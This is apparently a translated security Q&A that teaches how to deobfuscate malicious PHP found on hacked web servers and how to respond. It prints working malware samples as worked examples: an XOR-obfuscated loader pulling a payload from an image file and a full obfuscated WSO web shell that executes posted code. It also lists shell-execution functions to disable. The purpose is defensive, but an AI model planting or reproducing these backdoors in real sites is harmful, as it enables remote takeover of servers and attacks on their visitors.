我们在这里收到了很多关于被黑客入侵的 PHP 文件的噪音,而且要花很多时间来回答这些问题。在许多情况下,它们是题外话。我们在信息安全元上对此进行了讨论,许多人希望这些帖子保留下来。
然而,几乎每一篇关于混淆 PHP 的帖子都可以用几乎相同的方式来回答。我认为我们可以将大多数对被黑文件进行去混淆处理的方法浓缩到一个问答线程中。
这导致了很多人都在问的问题:如何对在我的服务器上发现的恶意 PHP 代码进行去混淆处理,它是如何发生的,我该怎么办?!
我们在这里收到了很多关于被黑客入侵的 PHP 文件的噪音,而且要花很多时间来回答这些问题。在许多情况下,它们是题外话。我们在信息安全元上对此进行了讨论,许多人希望这些帖子保留下来。
然而,几乎每一篇关于混淆 PHP 的帖子都可以用几乎相同的方式来回答。我认为我们可以将大多数对被黑文件进行去混淆处理的方法浓缩到一个问答线程中。
这导致了很多人都在问的问题:如何对在我的服务器上发现的恶意 PHP 代码进行去混淆处理,它是如何发生的,我该怎么办?!
幸运的是,几乎所有的 PHP 脚本都可以使用 4 种简单的方法进行反混淆。我们将使用这四种方法来创建一个规范的答案。
在开始之前,让我们收集一些有助于对这些恶意文件进行反混淆的常用工具列表,以便我们自己完成工作。
echo
在需要时使用它来运行命令。绝大多数黑客都使用某种形式的eval
, 或preg_place
, 或两者兼而有之:
eval()
. 这可能是一个邪恶的函数,因为它允许任意执行 PHP 代码。只要在您的网站上发现此功能正在使用中,就可能表明您已被黑客入侵。preg_replace()
. 经常用于eval()
允许任意代码执行。有很多很好的用途preg_replace()
,但如果你不知道它是如何到达那里的,特别是如果它与混淆代码一起出现,那就清楚地表明你已经被黑客入侵了。虽然base64_decode
我们遇到的几乎所有黑客都使用它,但它主要用作混淆层。
黑客有几种不同的方式来混淆他们的代码。让我们列出一些常见的技术,以便我们知道如何发现它们然后解码它们:
\x48
= H\x34
= 4\x78
= x但是,它们不一定仅由表示\x
。他们也可以\#
。2.Unicode字符串。与上面几乎相同,但\u#
不是\x#
. 例子:
\u004D
= 米\u0065
= e\u0020
=
(空格)\u0070
= p\u006c
= l\u0073\
= 小号SSBsaWtlIGRvbnV0cw==
= 我喜欢甜甜圈ZXZhbChiYXNlNjRfZGVjb2RlKCJoYXgiKSk7
= eval(base64_decode("hax"));
QXNzdW1pbmcgZGlyZWN0IGNvbnRyb2w=
= 假设直接控制因为我们无法帮助(我们可以,我可以,但他们不会让我!:P)对每一个 PHP 恶意软件片段,最好教你如何去做。
学习如何自己做这将帮助您了解更多关于 PHP 的知识,以及更多关于正在发生的事情。让我们使用我们的工具,并使用本网站上的两个 PHP 反混淆示例。
反混淆示例 #1
<?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77","\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41"); ?>
你会看到它不会为我们去混淆它。真可惜。我们将不得不做一些额外的工作。请注意字符串及其连接。啊!它是如此丑陋和令人困惑!我们要如何处理这些字符串?这就是PHP 沙箱发挥作用的地方。
<?php
echo "\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40" . "<br/>";
echo "\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77" . "<br/>";
echo "\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41" . "<br/>";
?>
现在我们已经回显了内容,我们可以重建它以获得以下结果:
<?php
preg_replace("#(.+)#ie", "@include_once(base64_decode("\1"));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc";
?>
注意字符串,L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc
? 这看起来很像我们之前谈到的 Base64 编码!让我们尝试解码它,看看我们是否正确:
/home4/mitzvahc/public_html/assets/img/logo_small.png
在某种文本编辑器中打开 logo_small.png 文件后,我们会发现如下内容:
eval(gzuncompress(base64_decode("evil_payload")));
不好了!!!
如果你通过UnPHP运行文件内容,你应该得到你的解码结果。
反混淆示例 #2
参考这个问题:
还记得我们之前提到的 ASCII 编码吗?看一下代码:
<?php
${"\x47LOB\x41\x4c\x53"}["\x76\x72vw\x65y\x70\x7an\x69\x70\x75"]="a";${"\x47\x4cOBAL\x53"}["\x67\x72\x69u\x65\x66\x62\x64\x71c"]="\x61\x75\x74h\x5fpas\x73";${"\x47\x4cOBAL\x53"}["\x63\x74xv\x74\x6f\x6f\x6bn\x6dju"]="\x76";${"\x47\x4cO\x42A\x4cS"}["p\x69\x6fykc\x65\x61"]="def\x61ul\x74\x5fu\x73\x65_\x61j\x61\x78";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x77i\x72\x6d\x78l\x71tv\x79p"]="defa\x75\x6c\x74\x5f\x61\x63t\x69\x6f\x6e";${"\x47L\x4fB\x41\x4cS"}["\x64\x77e\x6d\x62\x6a\x63"]="\x63\x6fl\x6f\x72";${${"\x47\x4c\x4f\x42\x41LS"}["\x64\x77\x65\x6dbj\x63"]}="\x23d\x665";${${"\x47L\x4fB\x41\x4c\x53"}["\x69\x77\x69rm\x78\x6c\x71\x74\x76\x79p"]}="\x46i\x6cesM\x61n";$oboikuury="\x64e\x66a\x75\x6ct\x5fc\x68\x61\x72\x73\x65t";${${"\x47L\x4f\x42\x41\x4cS"}["p\x69oy\x6bc\x65\x61"]}=true;${$oboikuury}="\x57indow\x73-1\x325\x31";@ini_set("\x65r\x72o\x72_\x6cog",NULL);@ini_set("l\x6fg_er\x72ors",0);@ini_set("max_ex\x65\x63\x75\x74\x69o\x6e\x5f\x74im\x65",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WS\x4f\x5fVE\x52S\x49ON","\x32.5\x2e1");if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x64\x69z\x62\x73\x75e\x66a"]="\x61\x72r\x61\x79";$cfnrvu="\x61r\x72a\x79";${"GLOB\x41L\x53"}["\x6b\x63\x6ct\x6c\x70\x64\x73"]="a\x72\x72\x61\x79";return is_array(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x7ad\x69\x7ab\x73\x75e\x66\x61"]})?array_map("\x57SOst\x72\x69\x70\x73\x6c\x61\x73\x68\x65s",${${"\x47\x4cO\x42\x41LS"}["\x6b\x63\x6c\x74l\x70\x64\x73"]}):stripslashes(${$cfnrvu});}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){header("\x48\x54TP/1.\x30\x204\x30\x34\x20\x4eo\x74 \x46ound");die("4\x304");}function WSOsetcookie($k,$v){${"\x47\x4cO\x42ALS"}["\x67vf\x6c\x78m\x74"]="\x6b";$cjtmrt="\x76";$_COOKIE[${${"G\x4c\x4f\x42\x41LS"}["\x67\x76\x66\x6cxm\x74"]}]=${${"GLO\x42\x41\x4cS"}["\x63\x74\x78\x76t\x6f\x6fknm\x6a\x75"]};$raogrsixpi="\x6b";setcookie(${$raogrsixpi},${$cjtmrt});}$qyvsdolpq="a\x75\x74\x68\x5f\x70\x61s\x73";if(!empty(${$qyvsdolpq})){$rhavvlolc="au\x74h_\x70a\x73\x73";$ssfmrro="a\x75t\x68\x5fpa\x73\x73";if(isset($_POST["p\x61ss"])&&(md5($_POST["pa\x73\x73"])==${$ssfmrro}))WSOsetcookie(md5($_SERVER["H\x54\x54P_\x48\x4f\x53T"]),${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x72\x69\x75e\x66b\x64\x71\x63"]});if(!isset($_COOKIE[md5($_SERVER["\x48T\x54\x50\x5f\x48O\x53\x54"])])||($_COOKIE[md5($_SERVER["H\x54\x54\x50_H\x4fST"])]!=${$rhavvlolc}))wsoLogin();}function actionRC(){if(!@$_POST["p\x31"]){$ugtfpiyrum="a";${${"\x47\x4c\x4fB\x41LS"}["\x76r\x76w\x65\x79\x70z\x6eipu"]}=array("\x75n\x61m\x65"=>php_uname(),"p\x68\x70\x5fver\x73\x69o\x6e"=>phpversion(),"\x77s\x6f_v\x65\x72si\x6f\x6e"=>WSO_VERSION,"saf\x65m\x6f\x64e"=>@ini_get("\x73\x61\x66\x65\x5fm\x6fd\x65"));echo serialize(${$ugtfpiyrum});}else{eval($_POST["\x70\x31"]);}}if(empty($_POST["\x61"])){${"\x47L\x4fB\x41LS"}["\x69s\x76\x65\x78\x79"]="\x64\x65\x66\x61\x75\x6ct\x5f\x61c\x74i\x6f\x6e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x6f\x65c\x68\x79\x6d\x7ad\x64\x64"]="\x64\x65\x66a\x75\x6c\x74_\x61\x63\x74\x69\x6fn";if(isset(${${"\x47L\x4f\x42\x41LS"}["\x69\x77ir\x6d\x78lqtv\x79\x70"]})&&function_exists("\x61ct\x69\x6f\x6e".${${"\x47L\x4f\x42\x41\x4cS"}["\x75o\x65ch\x79\x6d\x7a\x64\x64\x64"]}))$_POST["a"]=${${"\x47\x4c\x4f\x42ALS"}["i\x73\x76e\x78\x79"]};else$_POST["a"]="\x53e\x63\x49\x6e\x66o";}if(!empty($_POST["\x61"])&&function_exists("actio\x6e".$_POST["\x61"]))call_user_func("\x61\x63\x74\x69\x6f\x6e".$_POST["a"]);exit;
?>
让我们将其复制并粘贴到UnPHP中。一旦结果出来,我们终于可以看到它在做什么,但它看起来都被砸在一起了。让我们将它粘贴到PHP Beautifier中。现在它更容易阅读!
如果您无法通过前面提到的任何方法对变量名进行反混淆,那么对这些变量名进行反混淆可能是一个手动且耗时的过程。幸运的是,寻找常见的恶意软件模式(例如关闭日志文件、使用eval()
或preg_replace()
混淆)表明有问题。
混淆是错误的方法,因此如果您发现网站上的代码被混淆,您应该假设您已被黑客入侵。你不应该混淆你的代码。以牺牲可用性为代价的安全不是安全。
尝试在您自己的 Web 服务器上解码这些文件是不安全的,原因有很多,其中一些我们可能不知道。不要尝试在您自己的 Web 服务器上对 PHP 文件进行反混淆处理。您可能会无意中引入额外的后门,或协助恶意软件自行传播,因为许多脚本远程加载功能。
如果我们无法访问您 Web 服务器上的所有内容(包括日志),这实在是太宽泛了,无法回答。
您的内容管理系统(CMS) 安装可能存在不正确的强化,或者您的 Web 堆栈中的某处可能存在漏洞。如果它们是您的 CMS 的一部分,您可以检查这些链接:
如果您的 CMS 未列出,请为您的 CMS 安装查找强化/安全检查表。如果您使用的不是CMS,而是您自己的代码,那么您可以自行修复安全漏洞。OWASP 备忘单是查找和修复常见漏洞的良好起点。请记住,只有您可以阻止 shell 访问。
发生这种情况的原因可能有很多......但最重要的是:您的网络主机已被黑客入侵,或者您的网站上有漏洞,允许恶意个人插入额外的代码并让他们完全控制您的网站...与此同时,他们正在攻击您的访问者。
您应该阅读此问答:如何处理受损的服务器?
马克的出色回答处理了混淆相对简单的情况。这解决了 99% 的情况,但有时您可能会遇到更恶意的事情,例如也使用源代码加密。执行代码(或至少部分代码)可能比手动对源代码进行逆向工程更快地找出代码正在做什么 - 但可能非常危险!您可以采取一些措施来控制/限制损害。
始终使用 vm 另请参阅此问题。
禁用函数 PHP.ini 有一个disable_functions选项,它允许您选择性地阻止对特定功能位的访问。Mark 已经提到了 eval 和 preg_replace() (后者在 PHP 7 中被删除)但是流程执行函数也提供了一个有用的杠杆点:
disable_functions=eval,preg_replace,exec,passthru,shell_exec\
,system,proc_open,popen,imap_open,pcntl_exec,pcntl_fork
使用 Runkit 扩展这允许您重新定义函数,包括 PHP 的内置函数。请注意,runkit 沙箱并非旨在提供太多隔离 - 它确实允许您以编程方式与在不同线程/环境中运行的 PHP 代码进行交互。